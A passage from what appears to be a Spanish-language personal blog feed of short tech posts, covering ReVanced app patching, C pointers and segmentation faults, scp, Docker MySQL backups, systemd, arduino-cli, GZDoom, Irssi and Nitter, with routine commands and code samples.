<a href="https://github.com/ReVanced/revanced-patches/releases">https://github.com/ReVanced/revanced-patches/releases</a><br>
Services MicroG: <a href="https://github.com/revanced/gmscore/releases/tag/v0.3.1.4.240913">https://github.com/revanced/gmscore/releases/tag/v0.3.1.4.240913</a> (signed-apk)</p>
<p>Hay que desactivar la optimización para servicios microg</p>
<p>Necesitás java jdk 17.
Necesitás entrar al github de revanced y bajar el jar de revanced cli, el jar de revanced patches, el apk de revanced integrations y el apk de youtube desde apkmirror, tenés que ver que versión es compatible generalmente están en los releases de revanced patches (no tiene que ser -dev). Tenés que tener microG instalado en tu celular lo podés bajar desde la página oficial o desde el github de vanced microg.</p>
-
Linux en un microprocesador de 8 bits
https://imlauera.github.io/post/linux_en_un_microprocesador_de_8_bits/
Sun, 15 Oct 2023 20:59:36 -0300
https://imlauera.github.io/post/linux_en_un_microprocesador_de_8_bits/
<p>Increíble
<a href="https://www.youtube.com/embed/nm0POwEtiqE"><img src="https://img.youtube.com/vi/nm0POwEtiqE/hqdefault.jpg" alt="Watch the video"></a></p>
<p>Fuente: <a href="https://dmitry.gr/index.php?r=05.Projects&proj=07.%20Linux%20on%208bit">https://dmitry.gr/index.php?r=05.Projects&proj=07.%20Linux%20on%208bit</a></p>
-
Instalar Linux en el usb para la playstation2
https://imlauera.github.io/post/instalar_blackrhino_linux_en_el_usb_para_la_playstation2/
Fri, 13 Oct 2023 00:52:03 -0300
https://imlauera.github.io/post/instalar_blackrhino_linux_en_el_usb_para_la_playstation2/
<p>Primero tenés que instalar Funtuna en un pendrive y Free MCBoot en un DVD y necesitás una memory card.</p>
<p><a href="https://www.youtube.com/embed/iThCnICopDk"><img src="https://img.youtube.com/vi/iThCnICopDk/hqdefault.jpg" alt="Watch the video"></a></p>
<p><a href="https://kernelloader.sourceforge.net/linux.html">https://kernelloader.sourceforge.net/linux.html</a></p>
<p>Part1: Baja Black Rhino USB
<a href="https://www.youtube.com/embed/mPU-b4lBvx0"><img src="https://img.youtube.com/vi/mPU-b4lBvx0/hqdefault.jpg" alt="Watch the video"></a>
Parte2
<a href="https://www.youtube.com/embed/XSODLmtuJmM"><img src="https://img.youtube.com/vi/XSODLmtuJmM/hqdefault.jpg" alt="Watch the video"></a></p>
<p>Black Rhino Linux:
<a href="https://sourceforge.net/projects/kernelloader/files/BlackRhino%20Linux%20Distribution/Live%20Linux%20USB/PS2%20Live%20Linux%20USB%20v5/">https://sourceforge.net/projects/kernelloader/files/BlackRhino%20Linux%20Distribution/Live%20Linux%20USB/PS2%20Live%20Linux%20USB%20v5/</a>
Este es un Linux Live System para PS2 con NetSurf 3.1 (navegador web)</p>
<p>El archivo ps2linux_live_v5_pal_netsurf_usb.7z debe extraerse al directorio raíz de un dispositivo de almacenamiento USB (por ejemplo, FAT).
El archivo PS2NS/kloader.elf debe iniciarse desde la memoria USB. Puede utilizar uLaunchELF para esta tarea.
Si no usó kloader antes, iniciará Linux automáticamente y ejecuta NetSurf desde el dispositivo de almacenamiento USB. Si usó kloader antes, necesita
Cargue la configuración de NetSurf desde la memoria USB.</p>
-
2 routers 1 red doméstica: Deshabiliten el DHCP en el 2do router
https://imlauera.github.io/post/2_routers_1_home_network/
Fri, 13 Oct 2023 00:23:16 -0300
https://imlauera.github.io/post/2_routers_1_home_network/
<p><a href="https://youtube.com/watch?v=nOitxBangvk">https://youtube.com/watch?v=nOitxBangvk</a></p>
<p><a href="https://www.youtube.com/embed/nOitxBangvk"><img src="https://img.youtube.com/vi/nOitxBangvk/hqdefault.jpg" alt="Watch the video"></a></p>
<p>En el router Thomson tenés que ir a Red Hogareña - Interfaces - Local Network - Configuración y deshabilitar el DHCP, pero ojo esto solo deshabilita el DHCP a nivel WiFi si conectás un dispositivo a través de Ethernet seguirás teniendo una IP en esa interfaz por ejemplo: 192.168.1.123 en vez de 192.168.0.123.</p>
<p>Así que para encontrar tu dispositivo conectado a través de Ethernet al segundo router, tendrás que conectarte a la WiFi pero configurar IP estática y usar el la puerta de enlace (gateway) de tu segundo router en mi caso es: 192.168.1.254 y configurar una IP en esa interfaz es decir : 192.168.1.123 no tendrás acceso a internet, pero podrás ver el dispositivo.</p>
-
How to setup dynamic dns on wifi router free noip
https://imlauera.github.io/post/how_to_setup_ddns_on_wifi_router_free_noip/
Thu, 12 Oct 2023 23:27:31 -0300
https://imlauera.github.io/post/how_to_setup_ddns_on_wifi_router_free_noip/
<p>watch?v=DuYHWBjRDuU
<a href="https://www.youtube.com/embed/DuYHWBjRDuU"><img src="https://img.youtube.com/vi/DuYHWBjRDuU/hqdefault.jpg" alt="Watch the video"></a></p>
-
Everything you need to know about pointers
https://imlauera.github.io/post/everything_you_need_to_know_about_pointers/
Tue, 10 Oct 2023 16:23:49 -0300
https://imlauera.github.io/post/everything_you_need_to_know_about_pointers/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> ancho;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> alto;
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">typedef</span> Rectangulo;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> queseyo{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> nombre[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> apellido[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> fecha_nacimiento[<span style="color:#ae81ff">256</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> dni;
</span></span><span style="display:flex;"><span>} ;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Esto define una estructura Rectangulo
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">** struct {
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">** int ancho;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">** int alto;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">** } Rectangulo;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">**
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> queseyo agenda;
</span></span><span style="display:flex;"><span> Rectangulo abc;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> Rectangulo prueba1;
</span></span><span style="display:flex;"><span> prueba1.ancho <span style="color:#f92672">=</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span> prueba1.alto <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"ancho: %d, alto: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,prueba1.ancho,prueba1.alto);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span> pointer_to_readonly_memory_string <span style="color:#f92672">=</span> <span style="color:#e6db74">"asdf"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#75715e">//char pointer_to_memory_on_the_stack = malloc(sizeof(char)*5);
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> pointer_to_memory_on_the_stack[] <span style="color:#f92672">=</span> <span style="color:#e6db74">"asdf"</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// pointer_to_readonly_memory_string[0] = 'b'; // segmentation fault
</span></span></span><span style="display:flex;"><span> pointer_to_memory_on_the_stack[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'b'</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">" pointer_to_readonly_memory_string: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, pointer_to_readonly_memory_string);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">" pointer_to_memory_on_the_stack: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, pointer_to_memory_on_the_stack);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// *pointer = *(pointer+0) = pointer[0]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Equivalentes
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> <span style="color:#f92672">*</span>pointer <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#66d9ef">int</span>)<span style="color:#f92672">*</span><span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// int *pointer1 = malloc(sizeof(*pointer1)*4);
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">// int pointer2[4];
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>pointer <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(pointer<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> pointer[<span style="color:#ae81ff">2</span>]<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(pointer<span style="color:#f92672">+</span><span style="color:#ae81ff">3</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(pointer<span style="color:#f92672">+</span><span style="color:#ae81ff">4</span>) <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; i<span style="color:#f92672"><</span><span style="color:#ae81ff">4</span>; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> pointer[i]<span style="color:#f92672">=</span>i;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// malloc te crea en la memoria un espacio de 5 caracteres
</span></span></span><span style="display:flex;"><span> <span style="color:#75715e">//char *hola = malloc(sizeof(char)*5);
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>hola <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#66d9ef">sizeof</span>(<span style="color:#f92672">*</span>hola)<span style="color:#f92672">*</span><span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#75715e">// Todas estas expresiones son equivalentes
</span></span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>hola <span style="color:#f92672">=</span> <span style="color:#e6db74">'h'</span>;
</span></span><span style="display:flex;"><span> hola[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">'h'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(hola<span style="color:#f92672">+</span><span style="color:#ae81ff">0</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">'h'</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(hola<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">'o'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(hola<span style="color:#f92672">+</span><span style="color:#ae81ff">2</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">'l'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(hola<span style="color:#f92672">+</span><span style="color:#ae81ff">3</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">'a'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>(hola<span style="color:#f92672">+</span><span style="color:#ae81ff">4</span>) <span style="color:#f92672">=</span> <span style="color:#e6db74">'\0'</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sprintf</span>(hola,<span style="color:#e6db74">"%s"</span>,<span style="color:#e6db74">"chau"</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; i<span style="color:#f92672"><</span><span style="color:#ae81ff">4</span>; i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"pointer: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,pointer[i]);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"pointer: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,hola);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(pointer);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">free</span>(hola);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="invertir-una-lista-enlazada">Invertir una lista enlazada</h3>
<h3 id="httpswwwgeeksforgeeksorgreverse-a-linked-list"><a href="https://www.geeksforgeeks.org/reverse-a-linked-list/">https://www.geeksforgeeks.org/reverse-a-linked-list/</a></h3>
<h3 id="invertir-un-árbol-binario">Invertir un árbol binario</h3>
<h3 id="httpswwwgeeksforgeeksorgflip-binary-tree"><a href="https://www.geeksforgeeks.org/flip-binary-tree/">https://www.geeksforgeeks.org/flip-binary-tree/</a></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">reverse</span>(<span style="color:#66d9ef">struct</span> node<span style="color:#f92672">**</span> head_ref) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> node<span style="color:#f92672">*</span> prev <span style="color:#f92672">=</span> NULL;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> node<span style="color:#f92672">*</span> current <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>head_ref;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> node<span style="color:#f92672">*</span> next;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (current <span style="color:#f92672">!=</span> NULL) {
</span></span><span style="display:flex;"><span> next <span style="color:#f92672">=</span> current<span style="color:#f92672">-></span>next;
</span></span><span style="display:flex;"><span> current<span style="color:#f92672">-></span>next <span style="color:#f92672">=</span> prev;
</span></span><span style="display:flex;"><span> prev <span style="color:#f92672">=</span> current;
</span></span><span style="display:flex;"><span> current <span style="color:#f92672">=</span> next;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>head_ref <span style="color:#f92672">=</span> prev;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="ejercicios-resueltos-sobre-estructura-de-datos-en-c"><a href="https://imlauera.github.io/files/pointers/estrategias.7z">Ejercicios resueltos sobre Estructura de Datos en C</a></h4>
<h4 id="más-ejercicios-resueltos"><a href="https://imlauera.github.io/files/pointers/PracticaresueltaEDyA.zip">Más ejercicios resueltos</a></h4>
-
Dillo: un navegador extremadamente rapido sin soporte de JS
https://imlauera.github.io/post/dillo_navegador_extremadamente_rapido_sin_js/
Sat, 07 Oct 2023 20:38:32 -0300
https://imlauera.github.io/post/dillo_navegador_extremadamente_rapido_sin_js/
<p><a href="https://dillo.org/">https://dillo.org/</a></p>
<p>¿Qué es Dillo?</p>
<ul>
<li>Dillo es un navegador web gráfico multiplataforma conocido por su velocidad y su tamaño reducido.</li>
<li>Dillo está escrito en C y C++.</li>
<li>Dillo se basa en FLTK, Fast Light Toolkit (¡vinculado estáticamente de forma predeterminada!).</li>
<li>Dillo es un software gratuito disponible según los términos de la Licencia Pública General GNU (GPLv3).</li>
<li>Dillo se esfuerza por ser amigable tanto con los usuarios como con los desarrolladores.</li>
<li>Dillo ayuda a los autores web a cumplir con los estándares web mediante el uso del medidor de errores.</li>
</ul>
<h3 id="objetivos-del-proyecto">Objetivos del proyecto</h3>
<ul>
<li>La democratización del acceso a la información en Internet.</li>
<li>Seguridad personal y privacidad.</li>
<li>Alta eficiencia del software.</li>
</ul>
<p>Así de rápida sería la web si no existiese JavaScript.</p>
-
Construi una aplicación de Android y generá el APK sin Android Studio y desde la linea de comandos
https://imlauera.github.io/post/build_android_app_without_android_studio/
Thu, 05 Oct 2023 17:56:46 -0300
https://imlauera.github.io/post/build_android_app_without_android_studio/
<p><a href="https://wiki.gentoo.org/wiki/Android">https://wiki.gentoo.org/wiki/Android</a></p>
<p><a href="https://www.youtube.com/embed/qGTUDQfgy3s"><img src="https://img.youtube.com/vi/qGTUDQfgy3s/hqdefault.jpg" alt="Watch the video"></a></p>
<p><a href="https://www.youtube.com/embed/qGCgSaiKGWY"><img src="https://img.youtube.com/vi/qGCgSaiKGWY/hqdefault.jpg" alt="Watch the video"></a></p>
-
Error de Segmentación (Segmentation Fault) en C
https://imlauera.github.io/post/segmentation_fault_in_c/
Thu, 05 Oct 2023 05:22:12 -0300
https://imlauera.github.io/post/segmentation_fault_in_c/
<h3 id="escenarios-comunes-de-fallas-de-segmentación">Escenarios comunes de fallas de segmentación</h3>
<p>En una falla de segmentación, un programa intenta acceder a una memoria a la que no está autorizado o que no existe. Algunos escenarios comunes que pueden causar fallas de segmentación son:</p>
<ol>
<li>Modificar una cadena de solo lectura</li>
<li>Acceder a una dirección que está liberada</li>
<li>Acceder a límites de índice fuera de la matriz</li>
<li>Uso inadecuado de scanf()</li>
<li>Desbordamiento de pila</li>
<li>Desreferenciación de puntero no inicializado</li>
</ol>
<h4 id="1-modificar-una-cadena-de-sólo-lectura">1. Modificar una cadena de sólo lectura</h4>
<p>Los literales de cadena se almacenan en la sección de solo lectura de la memoria. Es por eso que el siguiente programa puede fallar (da un error de segmentación) porque la línea *(str+1) = ’n’ intenta escribir una memoria de solo lectura.</p>
-
Como transferir seguramente archivos entre servidores con scp
https://imlauera.github.io/post/como_transferir_seguramente_archivos_entre_servidores_con_scp/
Sun, 01 Oct 2023 11:41:54 -0300
https://imlauera.github.io/post/como_transferir_seguramente_archivos_entre_servidores_con_scp/
<h4 id="copie-un-solo-archivo-de-la-máquina-local-a-una-máquina-remota">Copie un solo archivo de la máquina local a una máquina remota:</h4>
<p>El comando scp necesita un origen y un destino para copiar archivos de una ubicación a otra. Este es el patrón que utilizamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>scp máquina local/ruta_al_archivo nombre de usuario@ip_servidor:/ruta_al_directorio_remoto
</span></span></code></pre></div><p>En el siguiente ejemplo, estoy copiando un archivo local a mi vps de Linux.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>scp /home/imlauera/Downloads/slackware.iso [email protected]:/home/blogger/isos/
</span></span></code></pre></div><p>Aquí, “blogger” es el usuario en el servidor y 111.111.111.111 es la IP del servidor. Le pedirá que proporcione la contraseña de ese usuario y luego copie el archivo de forma segura.</p>
-
Cómo hacer un backup de mysql y restaurarlo usando un volumen de docker
https://imlauera.github.io/post/how_to_backup_and_restore_docker_volume/
Tue, 26 Sep 2023 07:13:42 -0300
https://imlauera.github.io/post/how_to_backup_and_restore_docker_volume/
<p>Ejecutá esto desde la máquina host:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker exec CONTAINER /usr/bin/mysqldump -u root --password<span style="color:#f92672">=</span>root DATABASE > backup.sql
</span></span></code></pre></div><p>Para recuperarlo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat backup.sql | docker exec -i CONTAINER /usr/bin/mysql -u root --password<span style="color:#f92672">=</span>root DATABASE
</span></span></code></pre></div>
-
Clonar un repositorio sin profundidad
https://imlauera.github.io/post/clonar_sin_profundidad/
Sun, 24 Sep 2023 13:11:37 -0300
https://imlauera.github.io/post/clonar_sin_profundidad/
<p>Un clonado sin profundidad, te permite clonar un repositorio manteniendo sólo las últimas confirmaciones del historial.</p>
<p>Es un problema común que algunos repositorios crezcan en tamaño después de mucho tiempo trabajando en ellos.</p>
<p>Hay principalmente dos razones que hacen que un repositorio GIT crezca masivamente:</p>
<ul>
<li>Acumulación con el tiempo de un largo historial.</li>
<li>Inclusión de ficheros binarios de gran tamaño.</li>
</ul>
<p>Por lo que un repositorio puede crecer debido al aumento de la carpeta de trabajo y a su historial acumulado, que encima puede agravarse si el repositorio contiene versiones con ficheros que están en desuso.</p>
-
Lets Encrypt Docker
https://imlauera.github.io/post/letsencrypt-docker/
Wed, 20 Sep 2023 08:59:37 -0300
https://imlauera.github.io/post/letsencrypt-docker/
<h5 id="configurar-que-el-servicio-de-docker-inicie-automáticamente-en-caso-de-caída-o-reseteo-por-mantenimiento">Configurar que el servicio de docker inicie automáticamente en caso de caída o reseteo por mantenimiento</h5>
<p><a href="https://stackoverflow.com/questions/43671482/how-to-run-docker-compose-up-d-at-system-start-up">https://stackoverflow.com/questions/43671482/how-to-run-docker-compose-up-d-at-system-start-up</a></p>
<h4 id="usando-systemd">Usando systemd:</h4>
<p>Creá un archivo en /etc/systemd/system/docker-compose-app.service con el siguiente contenido:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># /etc/systemd/system/docker-compose-app.service</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Unit<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Description<span style="color:#f92672">=</span>Docker Compose Application Service
</span></span><span style="display:flex;"><span>Requires<span style="color:#f92672">=</span>docker.service
</span></span><span style="display:flex;"><span>After<span style="color:#f92672">=</span>docker.service
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Service<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Type<span style="color:#f92672">=</span>oneshot
</span></span><span style="display:flex;"><span>RemainAfterExit<span style="color:#f92672">=</span>yes
</span></span><span style="display:flex;"><span>WorkingDirectory<span style="color:#f92672">=</span>/home/test/docker
</span></span><span style="display:flex;"><span>ExecStart<span style="color:#f92672">=</span>/usr/bin/docker compose up -d
</span></span><span style="display:flex;"><span>ExecStop<span style="color:#f92672">=</span>/usr/bin/docker compose down
</span></span><span style="display:flex;"><span>TimeoutStartSec<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Install<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>WantedBy<span style="color:#f92672">=</span>multi-user.target
</span></span></code></pre></div><p>Cambie el parámetro WorkingDirectory con la ruta de su proyecto docker. Y habilite el servicio para que se inicie automáticamente:</p>
-
Play doom on Debian Linux
https://imlauera.github.io/post/play_doom_on_linux/
Tue, 19 Sep 2023 11:46:03 -0300
https://imlauera.github.io/post/play_doom_on_linux/
<p>Necesitás GZDoom, en Debian usa una librería llamada libflac8 que ya no se puede instalar desde los repositorios y se lo pueden bajar desde acá:
<a href="https://debian.pkgs.org/10/debian-main-amd64/libflac8_1.3.2-3+deb10u2_amd64.deb.html">https://debian.pkgs.org/10/debian-main-amd64/libflac8_1.3.2-3+deb10u2_amd64.deb.html</a></p>
<p>Luego bajan el deb del gzdoom para ubuntu desde acá:
<a href="https://zdoom.org/downloads">https://zdoom.org/downloads</a><br>
Lo instalan usando sudo <code>dpkg -i nombre_del_paquete.deb</code>, probablemente si no instalaron la librería que mencioné anteriormente los va a putear porque falta esa librería.</p>
<p>Ahora que ya tienen <strong>gzdoom</strong> instalado procedemos a bajar los iwads y los pwads para correr el juego.</p>
-
Conectarse automáticamente a una red y a un canal de IRC usando Irssi y guardar logs
https://imlauera.github.io/post/irssi_autojoin/
Fri, 08 Sep 2023 20:00:49 -0300
https://imlauera.github.io/post/irssi_autojoin/
<h3 id="habilite-la-conexión-automática-en-un-servidor">Habilite la conexión automática en un servidor:</h3>
<pre tabindex="0"><code>/SERVER MODIFY -auto irc.libera.chat
</code></pre><p>Para desactivarlo nuevamente, use <code>-noauto</code>.</p>
<h4 id="unirse-automáticamente-a-canales">Unirse automáticamente a canales</h4>
<pre tabindex="0"><code>/CHANNEL ADD -auto #channelname NetworkName
</code></pre><p>(Ver tus redes configuradas con: /NETWORK)</p>
<p>Agregue todos los canales actualmente abiertos como canales de unión automática</p>
<pre tabindex="0"><code>/ADDALLCHANS
</code></pre><p>(Este es un alias predeterminado que ejecuta un script Perl para ejecutar en masa comandos /CHANNEL ADD)</p>
<h3 id="inicio-de-sesión-automático-en-nickserv">Inicio de sesión automático en NickServ</h3>
<p>Muchas redes admiten el inicio de sesión SASL (consulte el sitio web de la red o el canal de ayuda para obtener más detalles). En tal caso, utilícelo:</p>
-
ESP32 con Arduino Cli How To
https://imlauera.github.io/post/arduino-cli-how-to/
Wed, 12 Jul 2023 02:26:15 -0300
https://imlauera.github.io/post/arduino-cli-how-to/
<h4 id="instalacion">Instalacion</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git clone https://github.com/arduino/arduino-cli
</span></span><span style="display:flex;"><span>cd arduino-cli
</span></span><span style="display:flex;"><span>bash install.sh
</span></span><span style="display:flex;"><span>cd bin/
</span></span><span style="display:flex;"><span>sudo mv arduino-cli /usr/bin
</span></span></code></pre></div><p><strong>Agregar y descargar un indice adicional</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>arduino-cli core update-index --additional-urls https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
</span></span></code></pre></div><p><strong>Iniciar la configuracion:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>arduino-cli config init
</span></span><span style="display:flex;"><span>arduino-cli config dump --verbose
</span></span></code></pre></div><p>Cuando inicias la configuracion te crea un archivo en <code>~/.arduino/arduino-cli.yaml</code> podes editar ese archivo y agregar la URL del indice en ese archivo en vez de usar –additional-urls como se demostro en el paso 1.</p>
-
Nitter volvio a funcionar
https://imlauera.github.io/post/nitter_volvio_a_funcionar/
Mon, 10 Jul 2023 10:41:26 -0300
https://imlauera.github.io/post/nitter_volvio_a_funcionar/
<p><a href="https://github.com/zedeus/nitter/pull/927">https://github.com/zedeus/nitter/pull/927</a></p>
<h3 id="que-es-nitter">Que es Nitter?</h3>
<p>Nitter es un front-end alternativo de Twitter, gratuito y de código abierto que se centra en la privacidad y el rendimiento.<br>
La fuente está disponible en GitHub en <a href="https://github.com/zedeus/nitter">https://github.com/zedeus/nitter</a>.</p>
<h4 id="por-que-usar-nitter">Por que usar Nitter?</h4>
<ol>
<li>No tenes que ingresar a tu cuenta para leer tweets</li>
<li>Sin JavaScript ni publicidad.</li>
<li>Todas las solicitudes pasan por el backend, el cliente nunca habla con Twitter.</li>
<li>Evita que Twitter rastree tu IP o tu huella dactilar de JavaScript.</li>
